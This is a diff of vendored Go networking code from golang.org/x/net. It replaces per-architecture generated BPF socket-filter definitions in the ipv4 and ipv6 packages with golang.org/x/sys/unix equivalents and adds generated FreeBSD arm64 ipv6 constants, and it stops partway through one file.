vendor/golang.org/x/net/ipv4/zsys_linux_arm.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -133,16 +128,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_arm64.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_arm64.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_mips.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_mips.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -133,16 +128,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_mips64.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_mips64.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_mips64le.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_mips64le.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_mipsle.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_mipsle.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -133,16 +128,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_ppc.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_ppc.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -133,16 +128,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_ppc64.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_ppc64.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_ppc64le.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_ppc64le.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
17
vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go
generated
vendored
17
vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go
generated
vendored
@ -57,9 +57,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -72,8 +69,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -137,15 +132,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv4/zsys_linux_s390x.go
generated
vendored
18
vendor/golang.org/x/net/ipv4/zsys_linux_s390x.go
generated
vendored
@ -55,9 +55,6 @@ const (
|
||||
sysSO_EE_ORIGIN_TXSTATUS = 0x4
|
||||
sysSO_EE_ORIGIN_TIMESTAMPING = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet = 0x10
|
||||
sizeofInetPktinfo = 0xc
|
||||
@ -70,8 +67,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPFilter = 0x4
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -135,16 +130,3 @@ type groupSourceReq struct {
|
||||
type icmpFilter struct {
|
||||
Data uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
9
vendor/golang.org/x/net/ipv6/defs_linux.go
generated
vendored
9
vendor/golang.org/x/net/ipv6/defs_linux.go
generated
vendored
@ -106,9 +106,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = C.ICMPV6_FILTER_BLOCKOTHERS
|
||||
sysICMPV6_FILTER_PASSONLY = C.ICMPV6_FILTER_PASSONLY
|
||||
|
||||
sysSOL_SOCKET = C.SOL_SOCKET
|
||||
sysSO_ATTACH_FILTER = C.SO_ATTACH_FILTER
|
||||
|
||||
sizeofKernelSockaddrStorage = C.sizeof_struct___kernel_sockaddr_storage
|
||||
sizeofSockaddrInet6 = C.sizeof_struct_sockaddr_in6
|
||||
sizeofInet6Pktinfo = C.sizeof_struct_in6_pktinfo
|
||||
@ -120,8 +117,6 @@ const (
|
||||
sizeofGroupSourceReq = C.sizeof_struct_group_source_req
|
||||
|
||||
sizeofICMPv6Filter = C.sizeof_struct_icmp6_filter
|
||||
|
||||
sizeofSockFprog = C.sizeof_struct_sock_fprog
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage C.struct___kernel_sockaddr_storage
|
||||
@ -141,7 +136,3 @@ type groupReq C.struct_group_req
|
||||
type groupSourceReq C.struct_group_source_req
|
||||
|
||||
type icmpv6Filter C.struct_icmp6_filter
|
||||
|
||||
type sockFProg C.struct_sock_fprog
|
||||
|
||||
type sockFilter C.struct_sock_filter
|
||||
|
1
vendor/golang.org/x/net/ipv6/helper.go
generated
vendored
1
vendor/golang.org/x/net/ipv6/helper.go
generated
vendored
@ -15,7 +15,6 @@ var (
|
||||
errMissingAddress = errors.New("missing address")
|
||||
errHeaderTooShort = errors.New("header too short")
|
||||
errInvalidConnType = errors.New("invalid conn type")
|
||||
errNoSuchInterface = errors.New("no such interface")
|
||||
errNotImplemented = errors.New("not implemented on " + runtime.GOOS + "/" + runtime.GOARCH)
|
||||
)
|
||||
|
||||
|
7
vendor/golang.org/x/net/ipv6/sys_bpf.go
generated
vendored
7
vendor/golang.org/x/net/ipv6/sys_bpf.go
generated
vendored
@ -11,13 +11,14 @@ import (
|
||||
|
||||
"golang.org/x/net/bpf"
|
||||
"golang.org/x/net/internal/socket"
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
func (so *sockOpt) setAttachFilter(c *socket.Conn, f []bpf.RawInstruction) error {
|
||||
prog := sockFProg{
|
||||
prog := unix.SockFprog{
|
||||
Len: uint16(len(f)),
|
||||
Filter: (*sockFilter)(unsafe.Pointer(&f[0])),
|
||||
Filter: (*unix.SockFilter)(unsafe.Pointer(&f[0])),
|
||||
}
|
||||
b := (*[sizeofSockFprog]byte)(unsafe.Pointer(&prog))[:sizeofSockFprog]
|
||||
b := (*[unix.SizeofSockFprog]byte)(unsafe.Pointer(&prog))[:unix.SizeofSockFprog]
|
||||
return so.Set(c, b)
|
||||
}
|
||||
|
3
vendor/golang.org/x/net/ipv6/sys_linux.go
generated
vendored
3
vendor/golang.org/x/net/ipv6/sys_linux.go
generated
vendored
@ -11,6 +11,7 @@ import (
|
||||
|
||||
"golang.org/x/net/internal/iana"
|
||||
"golang.org/x/net/internal/socket"
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
var (
|
||||
@ -40,7 +41,7 @@ var (
|
||||
ssoLeaveSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_LEAVE_SOURCE_GROUP, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
|
||||
ssoBlockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_BLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
|
||||
ssoUnblockSourceGroup: {Option: socket.Option{Level: iana.ProtocolIPv6, Name: sysMCAST_UNBLOCK_SOURCE, Len: sizeofGroupSourceReq}, typ: ssoTypeGroupSourceReq},
|
||||
ssoAttachFilter: {Option: socket.Option{Level: sysSOL_SOCKET, Name: sysSO_ATTACH_FILTER, Len: sizeofSockFprog}},
|
||||
ssoAttachFilter: {Option: socket.Option{Level: unix.SOL_SOCKET, Name: unix.SO_ATTACH_FILTER, Len: unix.SizeofSockFprog}},
|
||||
}
|
||||
)
|
||||
|
||||
|
122
vendor/golang.org/x/net/ipv6/zsys_freebsd_arm64.go
generated
vendored
Normal file
122
vendor/golang.org/x/net/ipv6/zsys_freebsd_arm64.go
generated
vendored
Normal file
@ -0,0 +1,122 @@
|
||||
// Code generated by cmd/cgo -godefs; DO NOT EDIT.
|
||||
// cgo -godefs defs_freebsd.go
|
||||
|
||||
package ipv6
|
||||
|
||||
const (
|
||||
sysIPV6_UNICAST_HOPS = 0x4
|
||||
sysIPV6_MULTICAST_IF = 0x9
|
||||
sysIPV6_MULTICAST_HOPS = 0xa
|
||||
sysIPV6_MULTICAST_LOOP = 0xb
|
||||
sysIPV6_JOIN_GROUP = 0xc
|
||||
sysIPV6_LEAVE_GROUP = 0xd
|
||||
sysIPV6_PORTRANGE = 0xe
|
||||
sysICMP6_FILTER = 0x12
|
||||
|
||||
sysIPV6_CHECKSUM = 0x1a
|
||||
sysIPV6_V6ONLY = 0x1b
|
||||
|
||||
sysIPV6_IPSEC_POLICY = 0x1c
|
||||
|
||||
sysIPV6_RTHDRDSTOPTS = 0x23
|
||||
|
||||
sysIPV6_RECVPKTINFO = 0x24
|
||||
sysIPV6_RECVHOPLIMIT = 0x25
|
||||
sysIPV6_RECVRTHDR = 0x26
|
||||
sysIPV6_RECVHOPOPTS = 0x27
|
||||
sysIPV6_RECVDSTOPTS = 0x28
|
||||
|
||||
sysIPV6_USE_MIN_MTU = 0x2a
|
||||
sysIPV6_RECVPATHMTU = 0x2b
|
||||
|
||||
sysIPV6_PATHMTU = 0x2c
|
||||
|
||||
sysIPV6_PKTINFO = 0x2e
|
||||
sysIPV6_HOPLIMIT = 0x2f
|
||||
sysIPV6_NEXTHOP = 0x30
|
||||
sysIPV6_HOPOPTS = 0x31
|
||||
sysIPV6_DSTOPTS = 0x32
|
||||
sysIPV6_RTHDR = 0x33
|
||||
|
||||
sysIPV6_RECVTCLASS = 0x39
|
||||
|
||||
sysIPV6_AUTOFLOWLABEL = 0x3b
|
||||
|
||||
sysIPV6_TCLASS = 0x3d
|
||||
sysIPV6_DONTFRAG = 0x3e
|
||||
|
||||
sysIPV6_PREFER_TEMPADDR = 0x3f
|
||||
|
||||
sysIPV6_BINDANY = 0x40
|
||||
|
||||
sysIPV6_MSFILTER = 0x4a
|
||||
|
||||
sysMCAST_JOIN_GROUP = 0x50
|
||||
sysMCAST_LEAVE_GROUP = 0x51
|
||||
sysMCAST_JOIN_SOURCE_GROUP = 0x52
|
||||
sysMCAST_LEAVE_SOURCE_GROUP = 0x53
|
||||
sysMCAST_BLOCK_SOURCE = 0x54
|
||||
sysMCAST_UNBLOCK_SOURCE = 0x55
|
||||
|
||||
sysIPV6_PORTRANGE_DEFAULT = 0x0
|
||||
sysIPV6_PORTRANGE_HIGH = 0x1
|
||||
sysIPV6_PORTRANGE_LOW = 0x2
|
||||
|
||||
sizeofSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
sizeofIPv6Mtuinfo = 0x20
|
||||
|
||||
sizeofIPv6Mreq = 0x14
|
||||
sizeofGroupReq = 0x88
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
)
|
||||
|
||||
type sockaddrStorage struct {
|
||||
Len uint8
|
||||
Family uint8
|
||||
X__ss_pad1 [6]uint8
|
||||
X__ss_align int64
|
||||
X__ss_pad2 [112]uint8
|
||||
}
|
||||
|
||||
type sockaddrInet6 struct {
|
||||
Len uint8
|
||||
Family uint8
|
||||
Port uint16
|
||||
Flowinfo uint32
|
||||
Addr [16]byte /* in6_addr */
|
||||
Scope_id uint32
|
||||
}
|
||||
|
||||
type inet6Pktinfo struct {
|
||||
Addr [16]byte /* in6_addr */
|
||||
Ifindex uint32
|
||||
}
|
||||
|
||||
type ipv6Mtuinfo struct {
|
||||
Addr sockaddrInet6
|
||||
Mtu uint32
|
||||
}
|
||||
|
||||
type ipv6Mreq struct {
|
||||
Multiaddr [16]byte /* in6_addr */
|
||||
Interface uint32
|
||||
}
|
||||
|
||||
type groupReq struct {
|
||||
Interface uint32
|
||||
Group sockaddrStorage
|
||||
}
|
||||
|
||||
type groupSourceReq struct {
|
||||
Interface uint32
|
||||
Group sockaddrStorage
|
||||
Source sockaddrStorage
|
||||
}
|
||||
|
||||
type icmpv6Filter struct {
|
||||
Filt [8]uint32
|
||||
}
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_386.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_386.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -155,16 +150,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_amd64.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_amd64.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_arm.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_arm.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -155,16 +150,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_arm64.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_arm64.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x10
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -157,16 +152,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [6]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_mips.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_mips.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x104
|
||||
|
||||
sizeofICMPv6Filter = 0x20
|
||||
|
||||
sizeofSockFprog = 0x8
|
||||
)
|
||||
|
||||
type kernelSockaddrStorage struct {
|
||||
@ -155,16 +150,3 @@ type groupSourceReq struct {
|
||||
type icmpv6Filter struct {
|
||||
Data [8]uint32
|
||||
}
|
||||
|
||||
type sockFProg struct {
|
||||
Len uint16
|
||||
Pad_cgo_0 [2]byte
|
||||
Filter *sockFilter
|
||||
}
|
||||
|
||||
type sockFilter struct {
|
||||
Code uint16
|
||||
Jt uint8
|
||||
Jf uint8
|
||||
K uint32
|
||||
}
|
||||
|
18
vendor/golang.org/x/net/ipv6/zsys_linux_mips64.go
generated
vendored
18
vendor/golang.org/x/net/ipv6/zsys_linux_mips64.go
generated
vendored
@ -84,9 +84,6 @@ const (
|
||||
sysICMPV6_FILTER_BLOCKOTHERS = 0x3
|
||||
sysICMPV6_FILTER_PASSONLY = 0x4
|
||||
|
||||
sysSOL_SOCKET = 0x1
|
||||
sysSO_ATTACH_FILTER = 0x1a
|
||||
|
||||
sizeofKernelSockaddrStorage = 0x80
|
||||
sizeofSockaddrInet6 = 0x1c
|
||||
sizeofInet6Pktinfo = 0x14
|
||||
@ -98,8 +95,6 @@ const (
|
||||
sizeofGroupSourceReq = 0x108
